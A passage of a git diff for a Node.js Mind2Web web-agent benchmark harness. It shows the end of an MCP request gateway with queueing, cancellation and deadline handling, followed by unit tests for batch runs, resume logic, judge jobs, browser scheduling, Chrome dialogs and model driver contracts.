respondRejected = (entry, code, message, outcome = 'not_executed', result) => entry.message.method === 'tools/call' + ? send(entry, result ?? rejection(code, message, outcome)) + : send(entry, null, { code: -32800, message, data: { code, execution_outcome: outcome } }); + function rejectQueued(entry, code, message) { + if (entry.state !== 'queued') return entry.rejected ?? Promise.resolve(); + entry.state = 'rejected'; clearTimer(entry.queueTimer); + entry.context.rejected = clock(); entry.context.queue_wait_ms = elapsed(entry.context.received, entry.context.rejected); + entry.context.cancel_code = code; entry.abort.abort(); + entry.rejected = (async () => { + try { + await entry.accounting; + const result = await proxy.rejectGatewayRequest?.(entry.message.method, entry.message.params, entry.context, code, message); + await log(entry, 'rejected', { rejected: entry.context.rejected, code, error: message, + args: entry.message.params?.arguments ?? {}, execution_outcome: 'not_executed', + budget_charged: entry.context.accounting?.charged ?? null }); + respondRejected(entry, code, message, 'not_executed', result); + } finally { forget(entry); } + })(); + track(entry.rejected); return entry.rejected; + } + function cancel(entry, code, message) { + if (entry.state === 'queued') return rejectQueued(entry, code, message); + if (entry.state !== 'running' || entry.context.signal.aborted) return; + entry.context.cancel_code = code; entry.context.cancel_requested = clock(); entry.abort.abort(); + proxy.cancelGatewayRequest?.(entry.context); + const outcome = entry.context.native_dispatches || !proxy.accountGatewayRequest ? 'unknown' : 'not_executed'; + track(log(entry, 'cancel_requested', { cancel_requested: entry.context.cancel_requested, + code, error: message, execution_outcome: outcome, native_dispatches: entry.context.native_dispatches ?? null, + running_slot_retained: true })); + respondRejected(entry, code, message, outcome); + } + async function dispatch(entry) { + try { + const denied = await entry.accounting; await entry.receivedRecord; + if (entry.state !== 'queued') { await entry.rejected; return; } + if (denied) { await rejectQueued(entry, denied.code, denied.message); return; } + if (now() >= entry.context.queue_deadline_epoch_ms) { + const operationExpired = now() >= entry.context.operation_deadline_epoch_ms; + await rejectQueued(entry, operationExpired ? 'OPERATION_DEADLINE' : 'GATEWAY_QUEUE_TIMEOUT', 'Request expired in the task gateway queue before dispatch'); return; + } + clearTimer(entry.queueTimer); entry.state = 'running'; entry.context.dispatched = clock(); + entry.context.queue_wait_ms = elapsed(entry.context.received, entry.context.dispatched); + entry.operationTimer = setTimer(() => cancel(entry, 'OPERATION_DEADLINE', 'Request receive-time deadline reached; running work retains its slot until settled'), + Math.max(0, entry.context.operation_deadline_epoch_ms - now())); + track(log(entry, 'dispatched')); + let result; + if (entry.message.method === 'initialize') { + initialized ??= proxy.handle(entry.message.method, entry.message.params, entry.context); + result = await initialized; + } else result = await proxy.handle(entry.message.method, entry.message.params, entry.context); + entry.context.finished = clock(); + const observations = resultData(result).filter(row => row.observation).map(row => ({ + operation_id: row.observation.operation_id, frame_id: row.observation.frame_id, tab_id: row.observation.tab_id })); + await log(entry, 'finished', { observations, cancelled: entry.context.signal.aborted, + native_dispatches: entry.context.native_dispatches ?? null, first_native_dispatch: entry.context.first_native_dispatch ?? null }); + if (!entry.context.signal.aborted && now() >= entry.context.operation_deadline_epoch_ms) + cancel(entry, 'OPERATION_DEADLINE', 'Request receive-time deadline reached before response emission'); + if (!entry.context.signal.aborted && send(entry, result)) { + const emitted = clock(); + try { await proxy.noteEmitted?.(result, entry.context); } + catch (error) { + journalError ??= error; + proxy.scheduler?.halt('Task response emission evidence could not be verified: ' + error.message); + proxy.onFault?.({ code: 'GATEWAY_EVIDENCE_FAILED', error: error.message }); + throw error; + } + await log(entry, 'emitted', { emitted, observations, + roundtrip_ms: elapsed(entry.context.received, emitted), delivery: 'MCP response accepted by task socket writer; model processing is unobserved' }); + } + } catch (error) { + entry.context.finished ??= clock(); + if (!entry.responded) send(entry, null, error.rpcError ?? { code: -32603, message: error.message }); + await log(entry, 'failed', { code: error.code ?? 'GATEWAY_ERROR', error: error.message, + execution_outcome: entry.context.native_dispatches ? 'unknown' : 'not_executed' }); + } finally { if (entry.state !== 'rejected') { entry.state = 'finished'; forget(entry); } } + } + const server = createServer(socket => { + if (closing) { socket.destroy(); return; } + sockets.add(socket); requests.set(socket, new Map()); + socket.on('error', () => {}); + socket.once('close', () => { + sockets.delete(socket); + for (const entry of requests.get(socket)?.values() ?? []) cancel(entry, 'GATEWAY_CLIENT_DISCONNECTED', 'Caller disconnected before this request settled'); + requests.delete(socket); + }); + const lines = createInterface({ input: socket }); + lines.on('line', line => { + let message; + try { message = JSON.parse(line); } catch { socket.write(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32700, message: 'Invalid JSON' } }) + '\n'); return; } + if (message?.id === undefined) { + if (message?.method === 'notifications/cancelled') { + const entry = requests.get(socket)?.get(message.params?.requestId); + if (entry) cancel(entry, 'GATEWAY_CANCELLED', 'Caller cancelled this request'); + } else if (message?.method === 'notifications/initialized') proxy.upstream.notify(message.method, message.params); + return; + } + if (requests.get(socket).has(message.id)) { + socket.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, error: { code: -32600, message: 'Request ID is already pending on this connection' } }) + '\n'); return; + } + const receivedMs = now(), abort = new AbortController(); + const entry = { socket, message, abort, state: 'queued', context: { request_id: message.id, + gateway_request_id: randomUUID(), received: clock(), queue_deadline_epoch_ms: receivedMs + Math.min(maxQueueMs, maxOperationMs), + operation_deadline_epoch_ms: receivedMs + maxOperationMs, signal: abort.signal, now } }; + entries.add(entry); requests.get(socket).set(message.id, entry); + entry.receivedRecord = log(entry, 'received'); track(entry.receivedRecord); + entry.accounting = Promise.resolve().then(() => proxy.accountGatewayRequest?.(message.method, message.params, entry.context)); + track(entry.accounting.then(denied => { if (denied) return rejectQueued(entry, denied.code, denied.message); })); + entry.queueTimer = setTimer(() => { + const operationExpired = now() >= entry.context.operation_deadline_epoch_ms; + rejectQueued(entry, operationExpired ? 'OPERATION_DEADLINE' : 'GATEWAY_QUEUE_TIMEOUT', 'Request expired in the task gateway queue before dispatch'); + }, Math.max(0, entry.context.queue_deadline_epoch_ms - now())); + queue = queue.catch(error => { journalError ??= error; }).then(() => dispatch(entry)); track(queue); + }); + }); + try { + await new Promise((resolve, reject) => { server.once('error', reject); server.listen(socketPath, resolve); }); + await chmod(socketPath, 0o600); + proxy.upstream.onNotification = message => { + if (message.method === 'notifications/progress') for (const socket of sockets) if (!socket.destroyed) socket.write(JSON.stringify(message) + '\n'); + }; + } catch (error) { await proxy.close(); await rm(work, { recursive: true, force: true }); throw error; } + return { + proxy, socketPath, + async initialize() { + initialized ??= proxy.handle('initialize', { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'om2w-task-controller', version: '2' } }); + const result = await initialized; proxy.upstream.notify('notifications/initialized'); return result; + }, + cancelPending() { + for (const entry of entries) cancel(entry, 'GATEWAY_CANCELLED', 'Task controller cancelled pending actor requests'); + proxy.scheduler?.cancelOwner(proxy.ownerId); + }, + close() { + return closed ??= (async () => { + closing = true; + for (const entry of entries) cancel(entry, 'GATEWAY_CANCELLED', 'Task gateway is closing; no queued request will be dispatched'); + for (const socket of sockets) socket.destroy(); + try { + try { + await queue; + while (background.size) await Promise.all([...background]); + await journal; + } finally { await proxy.close({ closeTab: true }); } + if (journalError) throw journalError; + } finally { + await new Promise(resolve => server.close(resolve)); await rm(work, { recursive: true, force: true }); + } + })(); + }, + }; +} diff --git a/mind2web/harness/test/batch.test.mjs b/mind2web/harness/test/batch.test.mjs new file mode 100644 index 000000000..cacdb451b --- /dev/null +++ b/mind2web/harness/test/batch.test.mjs @@ -0,0 +1,217 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtemp, mkdir, readFile, writeFile, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { options, runBench } from '../run-bench.mjs'; +import { preflight } from '../preflight.mjs'; +import { localHfToken, DATASET_REV } from '../dataset.mjs'; +import { atomicJson, acquireRunLock, failureClass } from '../run-state.mjs'; +import { encodeSolidPng } from '../png.mjs'; +import { runJudgeJobs, JUDGE_PROTOCOL } from '../judge-jobs.mjs'; +import { MODEL, EFFORT, JUDGE_ENGINE, CLAUDE_CLI } from '../model-family.mjs'; + +function tasks(count = 2) { + return Array.from({ length: count }, (_, i) => ({ task_id: (i + 1).toString(16).padStart(32, '0'), + confirmed_task: `Find product ${i + 1}.`, website: 'https://store.example/', reference_length: 1, level: 'easy' })); +} +async function fixture(t, count = 2) { + const resultsDir = await mkdtemp(path.join(tmpdir(), 'om2w-batch-test-')); + t.after(() => rm(resultsDir, { recursive: true, force: true })); + const o = options(['--run-id', 'test', '--driver', 'codex', '--browser', 'existing', '--count', String(count)]); + const observed = { calls: [], hubs: 0, closed: 0 }; + const deps = { resultsDir, loadTasks: async () => ({ tasks: tasks(count), source: { sha256: 'fixture', revision: DATASET_REV, path: '/fixture' } }), + preflight: async () => ({ ok: true, checks: [] }), runCommand: async () => ({ code: 0, stdout: 'frozen-commit', stderr: '' }), + createHub: () => ({ initialize: async () => { observed.hubs++; }, close: async () => { observed.closed++; } }), + drivers: { codex: async args => { observed.calls.push(args.task.task_id); return completedAttempt(args); } }, wait: async () => {} }; + return { o, deps, observed, runDir: path.join(resultsDir, 'test') }; +} +async function completedAttempt({ task, rawDir }, outcome = 'complete') { + const shot = path.join(rawDir, 'shots/0000.png'); + await mkdir(path.dirname(shot), { recursive: true }); + await writeFile(shot, encodeSolidPng(32, 32)); + await writeFile(path.join(rawDir, 'steps.jsonl'), JSON.stringify({ seq: 0, kind: 'bootstrap', tool: 'open_tab', args: { url: task.website }, + ok: true, url: task.website, screenshot_path: shot }) + '\n'); + const final = { outcome, final_answer: outcome === 'complete' ? '$19.99' : null, error: outcome === 'complete' ? null : 'Task timed out', + action_count: 0, duration_ms: 5, usage: { input_tokens: 10, output_tokens: 2 }, cleanup_ok: true }; + await atomicJson(path.join(rawDir, 'final.json'), final); + return final; +} + +// Stands in for the Python judge: checks the pinned arguments and writes the +// summary a successful job leaves behind. +function fakeJudgeRun(runDir, observed, expected = 1) { + return async (_command, args) => { + const engine = args[args.indexOf('--engine') + 1], variant = args[args.indexOf('--variant') + 1], pass = args[args.indexOf('--pass_number') + 1]; + observed.push(`${engine}-${variant}-${pass}`); + assert.equal(engine, JUDGE_ENGINE); assert.equal(args[args.indexOf('--cli') + 1], CLAUDE_CLI); + assert.equal(args[args.indexOf('--model') + 1], MODEL); assert.equal(args[args.indexOf('--effort') + 1], EFFORT); + assert.equal(args[args.indexOf('--num_workers') + 1], '10'); + assert.equal(args[args.indexOf('--engine-concurrency') + 1], '10'); + assert.equal(args[args.indexOf('--judge-protocol') + 1], JUDGE_PROTOCOL); + const summary = { expected, successes: 0, errors: 0, pending_judgments: 0, infrastructure_errors: 0, + judge_protocol: JUDGE_PROTOCOL, workers: 10, engine_concurrency: 10, global_cli_limit: 10 }; + await atomicJson(path.join(runDir, 'judge', `${engine}-${variant}-pass${pass}`, 'summary.json'), summary); + return { code: 0, stdout: JSON.stringify(summary), stderr: '' }; + }; +} + +test('Codex and existing-browser options are explicit and validated', () => { + const o = options(['--driver', 'codex', '--browser', 'existing']); + assert.equal(o.model, 'gpt-6.1-sol'); assert.equal(o['max-actions'], '60'); + for (const args of [['--driver', 'other'], ['--browser', 'other'], ['--max-actions', '0'], ['--judge-passes', '0']]) assert.throws(() => options(args)); +}); +test('existing-browser preflight permits an occupied hub and requires Ext: yes', async () => { + const calls = []; + const args = { browserMode: 'existing', driver: 'codex', checkDataset: false, filesystem: async () => ({ bavail: 100, bsize: 1e9 }), + serverCommand: ['node', '/fixture/index.js', 'stdio'], run: async (command, argv) => { + calls.push([command, argv]); return { code: 0, stdout: argv.includes('status') ? 'Mode: relay\nExt: yes\nHub: yes' : 'Codex version', stderr: '' }; + } }; + assert.equal((await preflight(args)).ok, true); + assert.ok(calls.every(([command]) => command !== 'lsof' && command !== 'claude')); + const offline = await preflight({ ...args, run: async () => ({ code: 0, stdout: 'Ext: no', stderr: '' }) }); + assert.equal(offline.checks.find(c => c.name === 'extension').ok, false); +}); +test('local Hugging Face login files are read without exposing the token', async t => { + const f = await fixture(t); + const tokenPath = path.join(f.deps.resultsDir, 'local-token'); + await writeFile(tokenPath, ' local-test-token\n'); + assert.equal(await localHfToken({ HF_TOKEN_PATH: tokenPath }), 'local-test-token'); + assert.equal(await localHfToken({ HF_TOKEN: ' environment-token ' }), 'environment-token'); +}); +test('missing official dataset keeps all 300 tasks pending without opening a tab or calling a model', async t => { + const { o, deps, observed, runDir } = await fixture(t); + o.tasks = 'all'; deps.loadTasks = async () => { throw new Error('Hugging Face HTTP 401'); }; + const { manifest } = await runBench(o, deps); + assert.equal(manifest.state, 'waiting_for_dataset'); assert.equal(manifest.expected, 300); + assert.equal(manifest.outcomes.length, 0); assert.equal(observed.hubs, 1); assert.equal(observed.closed, 1); assert.equal(observed.calls.length, 0); + assert.equal(JSON.parse(await readFile(path.join(runDir, 'summary.json'))).expected, 300); +}); +test('full benchmark rejects any dataset other than 300 tasks before browser actions', async t => { + const { o, deps, observed } = await fixture(t); o.tasks = 'all'; + await assert.rejects(runBench(o, deps), /exactly 300/); assert.equal(observed.calls.length, 0); +}); +test('all-task selection freezes exactly 300 IDs in dataset order before the first attempt', async t => { + const { o, deps, observed, runDir } = await fixture(t, 300); o.tasks = 'all'; + const controller = new AbortController(); deps.signal = controller.signal; + deps.drivers.codex = async args => { + observed.calls.push(args.task.task_id); + const ids = JSON.parse(await readFile(path.join(runDir, 'task-ids.json'))); + assert.deepEqual(ids, tasks(300).map(task => task.task_id)); + controller.abort(); return { outcome: 'rig_failure', error: 'Test interruption after selection verification' }; + }; + const { manifest } = await runBench(o, deps); + assert.equal(manifest.expected, 300); assert.equal(manifest.pending_ids.length, 300); assert.equal(observed.calls.length, 1); +}); +test('dataset wait advances automatically once local access becomes available', async t => { + const { o, deps, observed } = await fixture(t, 1); o['wait-for-resources'] = true; + const load = deps.loadTasks; let loads = 0; + deps.loadTasks = async () => { if (++loads === 1) throw new Error('HTTP 401'); return load(); }; + const { manifest } = await runBench(o, deps); + assert.equal(loads, 2); assert.equal(manifest.collection_complete, true); assert.equal(observed.calls.length, 1); +}); +test('serial collection preserves normal failures and resume skips them and all browser setup', async t => { + const { o, deps, observed } = await fixture(t); + let busy = false; + deps.drivers.codex = async args => { + assert.equal(busy, false); busy = true; observed.calls.push(args.task.task_id); + const persisted = JSON.parse(await readFile(path.join(deps.resultsDir, 'test/task-ids.json'))); + assert.equal(persisted.length, 2); + const final = await completedAttempt(args, observed.calls.length === 1 ? 'timeout' : 'complete'); busy = false; return final; + }; + const first = await runBench(o, deps); + assert.equal(first.manifest.collection_complete, true); assert.equal(first.manifest.attempts.length, 2); + assert.equal(first.manifest.exported, 2); assert.equal(first.manifest.outcomes[0].outcome, 'timeout'); + deps.preflight = async () => { throw new Error('Must not require browser for completed collection'); }; + const second = await runBench({ ...o, resume: true }, deps); + assert.equal(second.manifest.attempts.length, 2); assert.equal(observed.calls.length, 2); + assert.equal(observed.hubs, 1); assert.equal(observed.closed, 1); + await assert.rejects(runBench({ ...o, resume: true, model: 'different-model' }, deps), /model changed/); +}); +test('quota recovery waits for availability and preserves both attempts before one retry', async t => { + const { o, deps, observed, runDir } = await fixture(t, 1); o['wait-for-resources'] = true; + let probes = 0; deps.modelReady = async () => ({ ok: ++probes > 1 }); + deps.drivers.codex = async args => { + observed.calls.push(args.task.task_id); + return observed.calls.length === 1 ? { outcome: 'never_started', error: 'usage_limit_reached', usage: { input_tokens: 7 } } : completedAttempt(args); + }; + const { manifest } = await runBench(o, deps); + assert.equal(manifest.collection_complete, true); assert.equal(manifest.attempts.length, 2); assert.equal(probes, 2); + assert.equal(manifest.attempts[0].failure_class, 'quota'); assert.equal(manifest.outcomes[0].selected_attempt, 2); + assert.equal(JSON.parse(await readFile(path.join(runDir, 'summary.json'))).input_tokens, 17); +}); +test('resuming a quota pause does not spend the infrastructure retry until a readiness probe passes', async t => { + const { o, deps, observed } = await fixture(t, 1); + deps.drivers.codex = async () => { observed.calls.push('quota'); return { outcome: 'error', error: 'You have hit your usage limit' }; }; + const first = await runBench(o, deps); assert.equal(first.manifest.state, 'waiting_for_quota'); + const controller = new AbortController(); deps.signal = controller.signal; + deps.modelReady = async () => { controller.abort(); return { ok: false }; }; + const second = await runBench({ ...o, resume: true, 'wait-for-resources': true }, deps); + assert.equal(second.manifest.outcomes.length, 0); assert.equal(second.manifest.attempts.length, 1); assert.equal(observed.calls.length, 1); +}); +test('two infrastructure failures pause with no invented task verdict', async t => { + const { o, deps } = await fixture(t, 1); o['wait-for-resources'] = true; + deps.drivers.codex = async () => ({ outcome: 'rig_failure', error: 'extension disconnected' }); + const { manifest } = await runBench(o, deps); + assert.equal(manifest.state, 'paused_retry_exhausted'); assert.equal(manifest.attempts.length, 2); + assert.equal(manifest.outcomes.length, 0); assert.equal(manifest.pending_ids.length, 1); +}); +test('an interrupted model call remains pending and retains partial evidence', async t => { + const { o, deps } = await fixture(t, 1); + const controller = new AbortController(); deps.signal = controller.signal; + deps.drivers.codex = async args => { const result = await completedAttempt(args); controller.abort(); return result; }; + const { manifest } = await runBench(o, deps); + assert.equal(manifest.outcomes.length, 0); assert.equal(manifest.attempts[0].failure_class, 'infrastructure'); + assert.equal(manifest.attempts[0].final.final_answer, null); +}); +test('resume processes a saved completed attempt instead of invoking the model again', async t => { + const { o, deps, observed, runDir } = await fixture(t, 1); + deps.drivers.codex = async args => { + observed.calls.push(args.task.task_id); await completedAttempt(args); + throw new Error('Simulated controller exit after the model wrote final.json'); + }; + await assert.rejects(runBench(o, deps), /Simulated controller exit/); + const unfinished = JSON.parse(await readFile(path.join(runDir, 'manifest.json'))); + assert.equal(unfinished.attempts[0].state, 'running'); assert.equal(unfinished.outcomes.length, 0); + const { manifest } = await runBench({ ...o, resume: true }, deps); + assert.equal(manifest.collection_complete, true); assert.equal(manifest.outcomes[0].selected_attempt, 1); + assert.equal(observed.calls.length, 1); +}); +test('run locks reject active owners and recover dead owners', async t => { + const { runDir } = await fixture(t); await mkdir(runDir); + const release = await acquireRunLock(runDir); + await assert.rejects(acquireRunLock(runDir), /already active/); await release(); + await atomicJson(path.join(runDir, '.lock'), { pid: 2147483647 }); + const recovered = await acquireRunLock(runDir); await recovered(); + assert.equal(failureClass({ outcome: 'complete', cleanup_ok: false }), 'infrastructure'); + assert.equal(failureClass({ outcome: 'tool_violation' }), 'task'); +}); +test('six Claude jobs are sequential, capped at ten CLIs, and revalidate cached summaries on resume', async t => { + const { runDir } = await fixture(t); await mkdir(runDir); + const manifest = { task_ids: tasks(1).map(t => t.task_id), outcomes: [], source: {}, expected: 1, model: 'fixture', judge_protocol: 'scorefield-v2' }; + await atomicJson(path.join(runDir, 'task-ids.json'), manifest.task_ids); + const observed = []; + const run = fakeJudgeRun(runDir, observed); + const first = await runJudgeJobs({ runDir, manifest, passes: 3, run }); + assert.equal(first.jobs.length, 6); assert.equal(first.complete, true); + assert.equal(first.jobs.filter(j => j.status === 'complete').length, 6); + assert.equal(JSON.parse(await readFile(path.join(runDir, 'judge-jobs.json'))).scope, `${JUDGE_ENGINE}_only`); + assert.equal(observed.length, 6); + await runJudgeJobs({ runDir, manifest, passes: 3, run }); + assert.equal(observed.length, 12); +}); + +test('a collected non-dry run judges under the pinned protocol', async t => { + const { o, deps, runDir } = await fixture(t, 1); + o.judge = true; + const observed = []; + deps.runJudgeJobs = args => runJudgeJobs({ ...args, run: fakeJudgeRun(runDir, observed) }); + const { manifest } = await runBench(o, deps); + assert.equal(manifest.judge_protocol, JUDGE_PROTOCOL); + assert.equal(manifest.collection_complete, true); + assert.equal(manifest.state, 'complete'); + assert.equal(observed.length, 6); + const jobs = JSON.parse(await readFile(path.join(runDir, 'judge-jobs.json'), 'utf8')); + assert.equal(jobs.judge_protocol, JUDGE_PROTOCOL); + assert.equal(jobs.jobs.filter(job => job.status === 'complete').length, 6); +}); diff --git a/mind2web/harness/test/browser-scheduler.test.mjs b/mind2web/harness/test/browser-scheduler.test.mjs new file mode 100644 index 000000000..c40caee7d --- /dev/null +++ b/mind2web/harness/test/browser-scheduler.test.mjs @@ -0,0 +1,45 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { BrowserScheduler } from '../browser-scheduler.mjs'; + +test('a drain capture cannot acquire the lease after its hard operation deadline', async () => { + let now = 1000, release; + const scheduler = new BrowserScheduler({ now: () => now, maxQueueMs: 1000 }); + const first = scheduler.run('active', () => new Promise(resolve => { release = resolve; })); + let dispatched = false; + const capture = scheduler.run('expired', () => { dispatched = true; }, { cleanup: true, hardDeadline: 1010 }); + const rejected = assert.rejects(capture, { code: 'OPERATION_DEADLINE', dispatched: false }); + scheduler.cancelOwner('expired'); + now = 1010; release(); + await first; await rejected; + assert.equal(dispatched, false); + assert.equal(scheduler.queue.length, 0); +}); + +test('the hard-deadline timer bounds drain queue wait independently of task cancellation', async () => { + const scheduler = new BrowserScheduler({ maxQueueMs: 1000 }); + let release, dispatched = false; + const first = scheduler.run('active', () => new Promise(resolve => { release = resolve; })); + const capture = scheduler.run('finished-task', () => { dispatched = true; }, { cleanup: true, hardDeadline: Date.now() + 20 }); + const rejected = assert.rejects(capture, { code: 'OPERATION_DEADLINE', dispatched: false }); + scheduler.cancelOwner('finished-task'); + try { await rejected; assert.equal(dispatched, false); assert.equal(scheduler.queue.length, 0); } + finally { release(); await first; } +}); + +test('a queued operation runs in the async context that enqueued it, not the releasing one', async () => { + const { AsyncLocalStorage } = await import('node:async_hooks'); + const scheduler = new BrowserScheduler(), requests = new AsyncLocalStorage(); + let release, seen; + const first = requests.run('aborted-request', () => scheduler.run('task', () => new Promise(resolve => { release = resolve; }))); + const cleanup = requests.run('cleanup', () => scheduler.run('task', async () => { seen = requests.getStore(); }, { cleanup: true })); + await new Promise(resolve => setImmediate(resolve)); + release(); await first; await cleanup; + assert.equal(seen, 'cleanup'); +}); + +test('re-entrant operations of the active owner still run without re-queueing', async () => { + const scheduler = new BrowserScheduler(); + const result = await scheduler.run('task', () => scheduler.run('task', async () => 'nested')); + assert.equal(result, 'nested'); +}); diff --git a/mind2web/harness/test/chrome.test.mjs b/mind2web/harness/test/chrome.test.mjs new file mode 100644 index 000000000..224f8988a --- /dev/null +++ b/mind2web/harness/test/chrome.test.mjs @@ -0,0 +1,24 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtemp, rm } from 'node:fs/promises'; +import path from 'node:path'; +import { tmpdir } from 'node:os'; +import { launchChrome, dismissDialogs } from '../chrome.mjs'; +import { findChrome } from '../preflight.mjs'; + +test('Chrome for Testing CDP dismisses a confirm dialog, with no extension loaded', { skip: process.env.OM2W_TEST_CFT !== '1' }, async t => { + const chromePath = process.env.OM2W_CFT_PATH ?? await findChrome(); + assert.ok(chromePath, 'Chrome for Testing must be installed'); + const profile = await mkdtemp(path.join(tmpdir(), 'om2w-cft-test-')); + t.after(() => rm(profile, { recursive: true, force: true })); + const chrome = await launchChrome({ chromePath, userDataDir: profile, extraArgs: ['--headless=new', '--disable-gpu'] }); + t.after(async () => { await chrome.close(); await rm(profile, { recursive: true, force: true }); }); + await dismissDialogs(chrome.cdp); + const { targetId } = await chrome.cdp.send('Target.createTarget', { url: 'about:blank' }); + const { sessionId } = await chrome.cdp.send('Target.attachToTarget', { targetId, flatten: true }); + await chrome.cdp.send('Page.enable', {}, sessionId); + const result = await chrome.cdp.send('Runtime.evaluate', { expression: 'confirm("synthetic test")', returnByValue: true }, sessionId); + assert.equal(result.result.value, false); + const targets = await chrome.cdp.send('Target.getTargets'); + assert.ok(!targets.targetInfos.some(t => t.url.startsWith('chrome-extension://'))); +}); diff --git a/mind2web/harness/test/claude-image-contract.test.mjs b/mind2web/harness/test/claude-image-contract.test.mjs new file mode 100644 index 000000000..286f18d21 --- /dev/null +++ b/mind2web/harness/test/claude-image-contract.test.mjs @@ -0,0 +1,81 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtemp, readFile, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { inflateSync } from 'node:zlib'; +import { generateClaudeContractPng, CONTRACT_BLOCKS, verifyClaudeImageContract } from '../claude-image-contract.mjs'; +import { claudeToolViolation, MAX_MCP_OUTPUT_TOKENS, TOOL_PREFIX } from '../driver-claude-manual.mjs'; +import { ALLOWED_TOOLS } from '../browser-manual-profile.mjs'; +import { inspectPng } from '../png.mjs'; +import { MODEL, EFFORT } from '../model-family.mjs'; + +const MiB = 1024 * 1024; +const fixture = generateClaudeContractPng(); + +// Reads 8-bit RGB pixels from the fixture's unfiltered scanlines. +function rgbReader(png) { + const parts = []; + for (let offset = 8; offset < png.length;) { + const length = png.readUInt32BE(offset), type = png.toString('latin1', offset + 4, offset + 8); + if (type === 'IDAT') parts.push(png.subarray(offset + 8, offset + 8 + length)); + offset += 12 + length; + } + const { width } = inspectPng(png), raw = inflateSync(Buffer.concat(parts)), stride = width * 3 + 1; + return (x, y) => { + assert.equal(raw[y * stride], 0, `Scanline ${y} must be unfiltered`); + const start = y * stride + 1 + x * 3; return [raw[start], raw[start + 1], raw[start + 2]]; + }; +} + +test('the Claude contract fixture is a deterministic valid 3024x1610 RGB PNG between 1 and 8 MiB', () => { + assert.deepEqual(inspectPng(fixture), { ok: true, error: null, width: 3024, height: 1610 }); + assert.ok(fixture.length > MiB && fixture.length < 8 * MiB, `${fixture.length} bytes`); + assert.equal(fixture[24], 8, 'bit depth'); assert.equal(fixture[25], 2, 'RGB color type'); + assert.ok(generateClaudeContractPng().equals(fixture), 'Byte-identical across generations'); +}); + +test('every contract block is painted in its exact color below an incompressible noise band', () => { + const pixel = rgbReader(fixture), gray = [128, 128, 128]; + assert.ok(Object.isFrozen(CONTRACT_BLOCKS) && CONTRACT_BLOCKS.every(Object.isFrozen)); + assert.equal(CONTRACT_BLOCKS.length, 8); + assert.equal(new Set(CONTRACT_BLOCKS.map(block => block.color.join())).size, 8, 'Block colors are distinct'); + for (const block of CONTRACT_BLOCKS) { + assert.ok(block.y >= 300 && block.x + block.width <= 3024 && block.y + block.height <= 1610, 'Inside the image and below the noise band'); + for (const [x, y] of [[block.x, block.y], [block.x + block.width - 1, block.y + block.height - 1], + [block.x + block.width / 2, block.y + block.height / 2]]) assert.deepEqual(pixel(x, y), block.color, `${block.color} at ${x},${y}`); + assert.deepEqual(pixel(block.x - 1, block.y), gray, 'Blocks sit on the gray field'); + } + for (const y of [0, 299]) { + const noise = new Set(Array.from({ length: 3024 }, (_, x) => pixel(x, y).join())); + assert.ok(noise.size > 2900, `Noise row ${y} has ${noise.size} distinct colors`); + } + assert.ok(Array.from({ length: 3024 }, (_, x) => pixel(x, 300)).every(rgb => rgb.join() === gray.join()), 'The noise band ends at row 300'); +}); + +test('the pinned Claude CLI delivers the recorded observation to a local fake Messages API through the production arguments', + { skip: process.env.OM2W_TEST_CLAUDE_CLI === '1' ? false + : 'Set OM2W_TEST_CLAUDE_CLI=1 to run the pinned CLI against the local fake Messages API (dummy key, no inference)', timeout: 300_000 }, + async t => { + const outputDir = await mkdtemp(path.join(tmpdir(), 'claude-image-contract-test-')); + const receipt = await verifyClaudeImageContract({ outputDir }); + assert.equal(receipt.ok, true, `Contract failed; evidence kept in ${outputDir}: ${JSON.stringify(receipt.error)}`); + t.after(() => rm(outputDir, { recursive: true, force: true })); + assert.equal(receipt.checks.success_image_delivered, true); + assert.equal(receipt.checks.large_result_inline, true); assert.equal(receipt.checks.error_text_delivered, true); + assert.equal(receipt.real_model_calls, 0); assert.equal(receipt.local_provider.real_inference, false); + assert.match(receipt.local_provider.origin, /^http:\/\/127\.0\.0\.1:\d+$/); + assert.equal(receipt.model, MODEL); assert.equal(receipt.effort, EFFORT); + assert.deepEqual(receipt.tool_surface, { count: ALLOWED_TOOLS.length, missing: [], unexpected: [] }); + assert.equal(receipt.max_mcp_output_tokens, MAX_MCP_OUTPUT_TOKENS); + assert.deepEqual(receipt.cleanup, { gateway_closed: true, fixture_upstream_closed: true, remaining_fixture_tabs: 0, local_http_closed: true }); + // The real CLI's own stream must pass the policy the production driver applies to it. + const events = (await readFile(path.join(outputDir, 'stream.jsonl'), 'utf8')).split('\n').filter(Boolean).map(line => JSON.parse(line)); + const init = events.find(event => event.type === 'system' && event.subtype === 'init'); + assert.ok(init, 'The CLI streams an init event'); + assert.deepEqual([...init.tools].sort(), ALLOWED_TOOLS.map(name => TOOL_PREFIX + name).sort()); + assert.deepEqual(init.mcp_servers.map(({ name, status }) => ({ name, status })), [{ name: 'fsb', status: 'connected' }]); + assert.deepEqual(events.map(event => claudeToolViolation(event, ALLOWED_TOOLS)).filter(Boolean), []); + t.diagnostic(`CLI ${init.claude_code_version}: ${init.tools.length} tools, permissionMode=${init.permissionMode}, apiKeySource=${init.apiKeySource}, ` + + `${receipt.requests.length} local requests, delivered ${receipt.delivered.success.width}x${receipt.delivered.success.height} ${receipt.delivered.success.media_type}`); + }); diff --git a/mind2web/harness/test/codex-driver.test.mjs b/mind2web/harness/test/codex-driver.test.mjs new file mode 100644 index 000000000..f5403afac --- /dev/null +++ b/mind2web/harness/test/codex-driver.test.mjs @@ -0,0 +1,92 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtemp, readFile, writeFile, rm, chmod } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { runCodexTask, codexToolViolation } from '../driver-codex.mjs'; +import { StdioClient } from '../mcp-client.mjs'; +import { HARNESS_DIR } from '../proc.mjs'; + +const task = { task_id: 'c'.repeat(32), confirmed_task: 'Find the price of the Blue Widget.', website: 'https://store.example/', reference_length: 2, level: 'easy' }; +const serverCommand = [process.execPath, path.join(HARNESS_DIR, 'stub-fsb-server.mjs')]; +async function directory(t) { + const root = await mkdtemp(path.join(tmpdir(), 'om2w-codex-test-')); + 